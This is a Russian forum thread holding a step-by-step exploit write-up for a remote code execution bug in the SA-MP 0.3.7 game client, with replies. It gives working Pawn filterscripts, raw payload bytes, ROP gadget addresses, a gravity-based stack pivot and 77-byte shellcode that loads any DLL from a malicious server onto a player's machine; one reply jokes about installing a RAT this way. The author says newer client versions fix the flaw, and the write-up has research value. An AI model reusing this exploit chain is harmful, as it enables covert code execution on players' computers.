ограничивающий. К счастью, с этой проблемой сталкивались и другие разработчики, а поэтому уже есть готовое решение, под названием sRDI. В рамках этой статьи я не буду вдаваться в подробности и принципы работы данного решения, лишь вкратце озвучку необходимую для нас важную информацию. Этот инструмент модифицирует dll таким образом, чтобы она сама загрузилась, при этом достаточно передать управление первому её байту.
Значит, теперь перед нами стоит вполне конкретная задача: передать саму dll, выделить под неё память с правами записи и исполнения, скопировать туда, вызвать. Главный вопрос здесь в том, как именно передать с сервера на клиент килобайты или даже мегабайты потенциальной dll. Да всё максимально просто, можно просто записать её в конец битстрима RPC ShowDialog! Т.к. там записывается в конце сжатый text, необходимо выровнять по байту указатель на запись. Теперь задача стала ещё конкретнее и яснее: в нашем шеллкоде необходимо выделить память, скопировать туда данные из битстрима, вызвать. Также неплохо было бы, чтобы наш шеллкод сам определял, какого размера у нас dll и выделял соответствующий объём памяти. Что ж, приступим.
Сперва нам надо добраться до битстрима. Помните, в гаджете для stack pivoting мы добирались до указателя на caption через ebp? Этот caption был во стекфрейме обработчика RPC ShowDialog. Объект битстрима находится там же. Посмотрим:
UD9MMBG.jpeg

Да он прям перед этим caption и лежит!
Код:
mov eax, [ebp+0x3c]
sub eax, 0x118
Далее из структуры BitStream нам нужны поля numberOfBitsUsed, readOffset и указатель на данные data. Они лежат в самом начале, по оффсетам +0x0, +0x8 и +0xC соответственно. readOffset и numberOfBitsUsed мы переведём из бит в байты и вычтем первое из второго, тем самым получив количество непрочитанных байт. Т.к. мы записываем в конец битстрима нашу dll, а SA-MP читает только структуру для диалога, то количество непрочитанных байт и будет размером, который нам необходимо выделить для копирования.
Подглядеть как выполняется перевод из бит в байты можно в исходниках RakNet:
Код:
#define BITS_TO_BYTES(x) (((x)+7)>>3)
Мы сделаем аналогично. Поместим в регистры ecx, edx, esi значения numberOfBitsUsed, readOffset и data соответственно, переведём из бит в байты, затем из ecx вычтем edx чтобы получить размер dll, а к esi наоборот прибавим edx, чтобы получить указатель на начало нашей dll, а не начало всех данных. Таким образом, часть работы с битстримом у нас будет иметь вид:
Код:
;# get bitstream
mov eax, [ebp+0x3c] ;# caption
sub eax, 0x118      ;# bitstream
mov ecx, [eax]      ;# numberOfBitsUsed
mov edx, [eax+0x8]  ;# readOffset
mov esi, [eax+0xC]  ;# data ptr
add ecx, 7          ;# numberOfBitsUsed bits to bytes
shr ecx, 3
add edx, 7          ;# readOffset bits to bytes
shr edx, 3
sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size
add esi, edx        ;# data ptr         + readOffset = dll ptr
Теперь нам нужно выделить память. Делается это с помощью функции WinAPI VirtualAlloc, её адрес есть в таблице импортов игры по адресу 0x8581A4:
Код:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
Согласно документации функции, нам нужно вызвать эту функцию с flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. В dwSize нам надо передать размер выделяемого участка памяти, в lpAddress необходимо передать 0. После выполнения адрес выделенного участка будет помещён в регистр eax. Также важно помнить, что при вызове подобных функций могут быть затёрты значения в регистрах ebx, ecx, edx, поэтому перед вызовом необходимо их значения сохранить на стеке, а после вызова - восстановить. В нашем случае регистры eax (указатель на битстрим) и edx (readOffset) нам больше не нужны, ebx мы не используем, а вот ecx нам ещё понадобится, поэтому перед вызовом его надо сохранить. Также мы поместим возвращённое в eax значение в edi для дальнейшего копирования. Таким образом, часть с выделением памяти у нас будет иметь вид:
Код:
;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx
После этого у нас в edi помещён адрес выделенной памяти, куда нужно копировать, в esi - откуда копировать, ecx - сколько копировать. Поэтому мы можем запустить цикл копирования:
Код:
rep movsb
А затем передать управление dll:
Код:
call eax
Целиком наш шеллкод будет выглядеть следующим образом:
Код:
;# repair stack
lea esp, [ebp-0x128]

;# get bitstream
mov eax, [ebp+0x3c]             ;# caption
sub eax, 0x118                  ;# bitstream
mov ecx, [eax]                  ;# numberOfBitsUsed
mov edx, [eax+0x8]              ;# readOffset
mov esi, [eax+0xC]              ;# data ptr
add ecx, 7                      ;# numberOfBitsUsed bits to bytes
shr ecx, 3       
add edx, 7                      ;# readOffset bits to bytes
shr edx, 3       
sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size
add esi, edx                    ;# data ptr         + readOffset = dll ptr

;# call VirtualAlloc
push ecx                        ;# save ecx
push 0x40                       ;# flProtect = PAGE_EXECUTE_READWRITE
push 0x3000                     ;# flAllocationType = MEM_COMMIT | MEM_RESERVE
push ecx                        ;# dwSize = dll size
push 0                          ;# lpAddress = 0
mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc
call eax                        ;# call VirtualAlloc
mov edi, eax
pop ecx                         ;# restore ecx

;# copy dll
rep movsb

;# execute dll
call eax

;# epilogue
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Уложились в 77 байт, отлично.
Для проверки работоспособности я предлагаю написать простенький asi-мод, модифицировать с помощью sRDI, прочитать из pawn и записать его в битстрим. Пусть это будет тоже самое изменение денег, но уже из asi:
Код:
#include <Windows.h>

VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)
{
	*(DWORD*)0x00B7CE50 = 1137;
	KillTimer(NULL, 0);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
	switch (dwReasonForCall)
	{
	case DLL_PROCESS_ATTACH:
		SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
Скомпилируем, прогоним через sRDI:
MlVj2A6.jpeg

Обновим наш filterscript, вставив новый шеллкод и добавив чтение dll из файла и запись в битстрим, не забыв при этом сделать выравнивание:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x15, 0x27, 0x40, 0x00, // pop ecx gadget
    0x37, 0x00, 0x00, 0x00, // ecx value
    0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
    0x00, 0x60, 0x86, 0x00, // edi value
    0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
    0x00, 0x00, 0x00, 0x00, // edi value
    0x00, 0x00, 0x00, 0x00, // esi value
    0x00, 0x60, 0x86, 0x00, // ret to dst
    0x00, 0x00, 0x00, 0x00, // pad
 
    0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,
    0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,
    0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,
    0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,
    0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

new payload_array[21111];

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, ""); // left button
    BS_WriteString8(payload_bs, ""); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text

    // align
    new offset;
    BS_GetWriteOffset(payload_bs, offset);
    BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));

    // dll
    new File:fi = fopen("test.asi");
    new payload_len = flength(fi);
    if(payload_len > sizeof(payload_array) * 4)
    {
        printf("ERROR! Not enough space to read! %d needed", payload_len / 4);
    }
    else
    {
        fblockread(fi, payload_array);
        printf("SUCC READ PAYLOAD of %d bytes", payload_len);
        for(new i = 0; i < payload_len / 4; i++)
        {
            BS_WriteUint32(payload_bs, payload_array[i]);
        }
    }
    fclose(fi);
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    HidePlayerDialog(playerid);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}

HidePlayerDialog(playerid)
{
    new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
    BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
    BS_WriteString8(bs, " "); // caption
    BS_WriteString8(bs, ""); // left button
    BS_WriteString8(bs, ""); // right button
    BS_WriteCompressedString(bs, " "); // text
    PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Заходим в игру, вводим команду, ждём некоторое время, пока RPC будет передан на клиент, т.к. он теперь достаточно объёмный, и... всё работает! Поздравляю, мы только что с вами сделали sasi loader, то бишь Server ASI Loader. Теперь вы можете подгружать с сервера на клиент любые dll, которые захотите. Но помните, что загрузка вредоносных программ карается по закону.

Заключение

Что ж, благодарю, что прочитали данную статью. Буду рад вашим комментариям, замечаниям, вопросам. В заключение отмечу, что написанный шеллкод будет работать на всех ревизиях 0.3.7, т.к. в них нет отличий в тех функциях, с которыми мы работали. Судя по всему, данная уязвимость появилась с момента появления системы диалогов, то есть с версии 0.3a (2009), и на данный момент уже исправлена в последней версии клиента R5 (2022). Конечно, фикс можно реализовать и для других версий с помощью тех же модов asi или даже lua. Строго рекомендуется использовать последнюю версию SA-MP со всеми исправлениями, а также не заходить на те сервера, которые вызывают у вас подозрение и которым вы не доверяете.
P.S. понравилась статья? будьте на связи, у меня для вас есть ещё кое-что интересное ;)
 
Последнее редактирование:

why ega

РП игрок
Модератор
2,539
2,231
спасибо, ожидайте функцию установки ратника на комп игр
несовсем понимаю, как пакеты будут доходить (так, чтобы клиент их обработал, а не откинул) до неподключенной к твоему серверу системе
 

Vintik

Мечтатель
Проверенный
1,467
916
Только недавно наткнулся на эту тему с RCE
1708966882037.png
Разобрался немного, переключился на другое - и тут эта статья.
@EvgeN 1137 , спасибо тебе!
 
  • Нравится
Реакции: EvgeN 1137

Shishkin

Известный
488
249
Эта статья на английском / This article in English

Всех приветствую. Наверняка многие слышали про какие-то там уязвимости в SA-MP, про странную аббревиатуру RCE, про версии клиента R4, R4-2, R5, которые содержат какие-то там исправления этих самых уязвимостей и которыми никто практически не пользуется. Что ж, настало время подробно раскрыть всю информацию.
Для полного понимания данной статьи и всего происходящего необходим будет некий багаж знаний по C++, ассемблеру и реверс инжинирингу. Однако, если таковых знаний у вас нет, я всё равно постараюсь изложить информацию наиболее доступно, в духе эдакого детектива, где ничего не понятно, но очень интересно. Кто знает, может именно эта статья вдохновит вас изучать данную сферу и навсегда изменит вашу жизнь... Ну да ладно, что-то я отвлёкся. Приступим.

Введение.

Итак, что это за уязвимость такая и что означает RCE? В общем случае RCE, то бишь Remote Code Execution, то бишь удалённое исполнение кода, - это такая уязвимость, которая позволяет удалённо исполнять свой код в приложении. Другими словами, если говорить от лица, эксплуатирующего уязвимость, вы можете запустить произвольный код (программу), используя уязвимую программу. Если говорить от лица потенциальной жертвы, у вас могут запустить произвольный код без вашего ведома и скрытно от вас. Грубо говоря, хакер может заставить уязвимую программу скачать другую программу и запустить её. Собственно, в нашем случае этой самой "уязвимой программой" является SA-MP.
Откуда берутся подобные уязвимости? В результате допускаемых ошибок при разработке программы, и SA-MP в этом плане не исключение. Зачастую такие ошибки случаются из-за возможности выходы за границы массивов, что позволяет записывать произвольные данные в другие участки памяти.
Поиск и раскручивание такой уязвимости до полноценного RCE можно условно разделить на следующие этапы:
1. Поиск потенциального уязвимого места в программе.
2. Анализ потенциальных возможностей и способов использования.
3. Разработка первичного шелл-кода, который откроет для нас врата для полноценного выполнения произвольного кода.
4. Разработка сценария использования найденного RCE.
Что ж, приступим.

Этап 1. Поиск.

Для обнаружения уязвимости необходимо целенаправленно реверсить приложение в тех местах, где происходит обработка поступающих внешних данных, в поисках потенциальных переполнений и прочих ошибок. Иногда ещё может помочь фаззинг, но здесь мы его рассматривать не будем. Я буду использовать версию клиента 0.3.7 R3-1, а также IDA Pro + Hex-Rays в качестве дизассемблера и декомпилятора. Также возьму уже готовую наработанную базу для IDA под версию R3-1 от LUCHARE.
Т.к. я уже знаю, где находится уязвимость, я просто продемонстрирую условную последовательность действий, как её можно было бы найти. Итак, рассмотрим обработчик RPC ShowDialog по адресу 1000F7B0:
RLjU2q6.jpeg

Тут всё ок, взглянем теперь CDialog::Open, там находится большая конструкция switch-case в зависимости от стиля диалога. Рассмотрим ветку кода для типа 2, т.е. для DIALOG_STYLE_LIST. Там сразу вызывается функция sub_1006F4A0 (я её переименую в CDialog::PrepareListbox для удобства), посмотрим её:
7YBFlTX.jpeg

Тут происходит разбитие буфера szText для строчек в диалоге. Используется локальный буфер на 264 элемента, все необходимые проверки присутствуют. Но теперь заглянем в CDialog::GetTextScreenLength:
aExuDut.jpeg

Эта функция использует локальный буфер, чтобы поместить в неё строчку, вычленить цветовые коды {xxxxxx} и посчитать ширину текста для последующего формирования диалогового окна. И опа, тут локальный массив на 132 ячейки, а сюда передаётся массив на 264 элемента. Взглянем, как он расположен на стеке:
VK6yiKi.jpeg

Эта функция не сохраняет никаких регистров на стеке, в том числе и значение esp вызвавшей функции, а сам массив расположен "на дне" стека, поэтому за ним идёт сразу адрес возврата. А это означает, что если мы передадим в диалог одну единую строку без переносов длиной 132, то мы заполним этот локальный массив полностью, а если добавим ещё 4 байта, то полностью перезапишем адрес возврата. Набросаем тестовый filterscript с использованием плагина Pawn.RakNet:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44
};

new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteString8(payload_bs, "this is caption"); // caption
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);
        return 1;
    }
    return 0;
}
Здесь создаётся строка из 132 пробелов, а дальше идёт адрес 0x44332211. Загрузим fs, зайдём на сервер и введём команду:
5ta7ofs.jpeg

Вуаля, получаем краш по этому адресу! Таким образом, на данном этапе мы можем перейти по произвольному адресу.

Этап 2. Анализ.

Итак, мы можем перепрыгнуть на любой абсолютный адрес, а это значит, что наша следующая цель - записать куда-нибудь в исполняемую (это важно) память свой код и перейти по этому адресу. И здесь нас ждёт ряд серьёзных проблем.
Проблема первая. Записывать свой код нужно не абы куда, а в исполняемую память, т.е. в регион, в котором одновременно есть права и на запись, и на исполнение.
Проблема вторая. Строка с содержимым диалогом передаётся в виде текста, при этом в структуре RPC диалога он сжимается алгоритмами в библиотеке ракнета, а нулевой символ (0x00) является признаком конца строки. Это означает, что мы не можем передать строку, содержащие нули, а они нам весьма нужны.
Проблема третья. В функции CDialog::PrepareListbox одна строка ограничена 256 символами, и переполнение у нас происходит после 132-го, что означает, что мы можем выйти за границы на 124 байта. Потенциально этого может быть либо недостаточно, либо достаточно, но осложнит задачу, т.к. нам надо и манипуляции со стеком провести, и свой код загнать, и не какие-то там байты, а килобайты и даже мегабайты.
Столкнувшись с такими проблемами, может показаться, что в данном случае уязвимость реализовать вообще не получится, однако к этим проблемам нужен комплексный подход, нужно знать некоторые особенности и нюансы.
На самом деле, проблем могло быть гораздо больше, в современном софте существуют всякие stack canary, ASLR, PIE и прочие ужасы, но мы имеем дело с древней GTA San Andreas и с SA-MP'ом, где подобных штук нет или они отключены намерено. К тому же сам по себе SA-MP является модом, который грязно хакает память игры, что порой нам только упрощает работу.
В частности, SA-MP патчит память игры, устанавливая свои хуки. По умолчанию исполняемая память защищена от записи, так что SA-MP вынужден ставить исполняемым страницам памяти право на запись, чтобы записать свои хуки. Право ставится всей странице целиком, т.к. нельзя поставить права только на какие-то конкретные байты. При этом SA-MP забывает вернуть оригинальные права странице, т.е. снять право на запись, поэтому остаются регионы, в которых допустима запись и исполнение одновременно. Карту памяти можно посмотреть, например, в Cheat Engine:
15tAjp7.jpeg

Мне приглянулся регион с адресом 0x00866000, размером 4кб (это размер одной страницы), этого будет достаточно. По тому адресу находятся строки для сохранения игровой статистики в html файл. Это фича никогда не используется, так что там можно спокойно перезаписать их. Но пока запомним и отложим этот адрес, вернёмся к нему позже.
Также хочется отметить одну особенность SA-MP: у него есть фича изменения гравитации, т.е. с сервера можно установить произвольное значение. Как это реализовано? Очень просто - клиент просто записывает полученное значение по статическому адресу в самой игре. Вот только есть одна маленькая, но очень важная мелочь: при этом зачем-то устанавливается возможность исполнения этого кода. Т.к. гравитация это float, т.е. 4 байта, мы можем записать 4 байта исполняемого кода по известному нам адресу. Казалось бы, это всего лишь 4 байта, но к ним мы тоже вернёмся чуть позже и, поверьте, они сыграют решающую роль.
А сейчас о более насущных проблемах. Итак, на данном этапе мы можем выйти за границы буфера на стеке, перезаписать адрес возврата, тем самым можем прыгнуть на любой известный статический адрес и не более. Мы пока что не можем ни записать свой код, ни тем более вызвать его. Но мы можем вызывать уже существующий в игре код! А точнее, только необходимые нам фрагменты. Эта техника называется ROP, то бишь Return-Oriented Programming. Например, у нас по адресу 0x00555550 находятся вот такие инструкции: pop ecx; ret; а по адресу 0x00444440 находится pop edi; ret; Пользуясь нашим переполнением буфера, мы записываем на стек следующее:
0x00555550, 0x00000011, 0x00444440, 0x00000022
При этом произойдёт вот что:
1) Когда исполнится инструкция ret в нашей CDialog::GetTextScreenLength, произойдёт переход по адресу 0x00555550, регистр esp будет указывать на значение 0x00000011
2) По адресу 0x00555550 исполнится инструкция pop ecx, т.е. из стека достанется значение и присвоится в регистр ecx. А что у нас там на вершине стека? Правильно, 0x00000011, значит это значение и запишется в регистр ecx, а регистр esp сметится ниже на значение 0x00444440
3) Дальше исполнится инструкция ret. Произойдёт переход по адресу 0x00444440, регистр esp будет указывать на 0x00000022
4) По адресу 0x00444440 исполнится инструкция pop edi, в регистр edi присвоится значение 0x00000022
и т.д.
Таким образом, с помощью таких цепочек, именуемых rop chains, мы можем манипулировать регистрами, а также вызывать другие необходимые нам команды, в частности, на копирование данных из одной области памяти в другую. Сами вызываемые фрагменты кода именуются гаджетами, и главная здесь сложность - найти подходящие гаджеты среди всего кода игры. Специально для поиска гаджетов созданы такие инструменты как radare2, ROPgadget и другие, но мы не будем их рассматривать в рамках этой статьи.
Но у нас есть другая проблема, не позволяющая нам записывать нули в строку, а для rop chain'ов они нам нужны. Для решения этой (и не только) проблемы используется приём, называемый stack pivoting, заключающийся в изменении значения esp. Как вариант, мы можем разместить наши rop chains в более подходящем месте, а затем подменить esp на это самое "подходящее место". Вопрос: как подменять esp? Ответ: всё так же, с помощью гаджета. В совокупности найти подходящее место для rop chains и найти подходящий гаджет для stack pivoting может быть самой сложной задачей, возможно даже без решения, и, как следствие, без возможности реализовать уязвимость, но у нас здесь уникальный случай.
Помимо самого текста диалога, в RPC ещё передаётся строка заголовка и строки левой и правой кнопки. Если изучить код обработчика RPC_ShowDialog можно заметить, что там происходит чтение заданного количества байт из битстрима в локальный массив. Длина при этом ограничена 256 символами, и неограничена присутствием нулевых символов. Отлично, можно спокойно использовать один из этих трёх массивов, я возьму caption. Теперь вопрос - как добраться до него на стеке? В этом нам поможет регистр ebp. Из всей цепочки вызовов RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength сохранение esp в ebp происходит в CDialog::PrepareListbox, т.е. в ebp хранится значение esp из CDialog::Open в момент вызова CDialog::PrepareListbox. IDA может нам слегка подсказать, где находится указатель на caption относительно esp в CDialog::Open:
l0i9rME.jpeg

Но не спешите расслабляться. В процессе своей работы CDialog::Open сохраняет на стеке значения одного из регистров (+1), пушит 2 аргумента в CDialog::PrepareListbox (+2), вызывает её (+1), и сама CDialog::PrepareListbox сохраняет на стек регистр ebp (+1). Т.е. у нас сохранённый esp ещё был сдвинут вверх на 5 позиций, а, значит, к 0x28 надо прибавить 5 раз по 4, т.е. 0x14. Получим 0x3C.
Можно посчитать и другим путём, включив в IDA отображение в листинге указателя стека:
lZxulKW.jpeg

Прибавить к нему сдвиг при call (+0x4), push ebp в вызванной функции (ещё +0x4), и прибавить сдвиг на сам caption:
kQb6E7m.jpeg

Итого 0x28+0x4+0x4+0xC=0x3C.
Но вообще, я бы не рекомендовал считать таким образом, т.к. тут легко ошибиться и пропустить что-либо. Гораздо лучше вычислить сдвиг эмпирическим путём: взять отладчик, поставить брикпоинт, отправить диалог с неким текстом в caption, при срабатывании брикпоинта пролистать окно стека и найти там указатель на caption по указанному ранее тексту, посчитать разницу между ним и значением ebp.
Итак, чтобы выставить esp на массив caption, нам нужно:
Код:
mov esp, dword ptr [ebp+0x3c]
И затем выполнить ret, чтобы перейти по адресу гаджета, который уже будет указан в начале caption. Но такой гаджет 1 в 1 мы найти не сможем, т.к. компиляторы не генерируют подобный код, а найти аналог из последовательностей нескольких гаджетов может быть достаточно проблематично. Но зачем искать, когда мы сами можем записать такой гаджет? Настало время для нашей гравитации!
Для преобразования ассемблерного кода в машинные коды я буду использовать этот сайт. Получим следующий код:
Код:
0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
3:  c3                      ret
Это значит, что можно выставить значение гравитации 0xC33C658B, затем вызвать диалог с переполнением на адрес переменной гравитации, и у нас вершина стека сдвинется на caption! Но не стоит торопиться. Заглянув в память по адресу переменной гравитации, а именно 0x00863984, можно заметить, что сразу за этой переменной следующим значением идёт 0xC3, а у нас последняя инструкция тоже 0xC3. При этом, если представить 0xC33C658B в виде float, получится значение -188.396652222, что довольно негативно может повлиять на игру, т.к. дефолтное значение неотрицательное и равняется 0.008, могут появиться аномалии и игра вообще может повиснуть, так что мы можем немного пожонглировать с инструкциями, чтобы значение оказалось приближенным к 0.008. Наилучшей будет такая комбинация:
Код:
0:  90                      nop
1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
Т.е. значение 0x3C658B90, которое во float представлении будет 0.0140103250742, что даже и не сильно-то отличается от оригинала. Но мы в любом случае в конце восстановим оригинальное значение.
Что ж, обновим наш filterscript, а именно:
1. Запишем в переполняющую строку text адрес гравитации, где у нас гаджет с stack pivoting.
2. Вместо текста запишем в caption произвольный адрес (в дальнейшем там у нас будут rop chains).
3. Напишем функцию установки гравитации игроку через Pawn.RakNet. Также реализуем отправку RPC гравитации и диалога в отдельном канале очередёности с гарантией доставки RELIABLE_ORDERED, чтобы RPC пришли строго в порядке отправления, и укажем низкий приоритет (это будет полезно в будущем).
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x66, 0x77, 0x88, 0x99
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
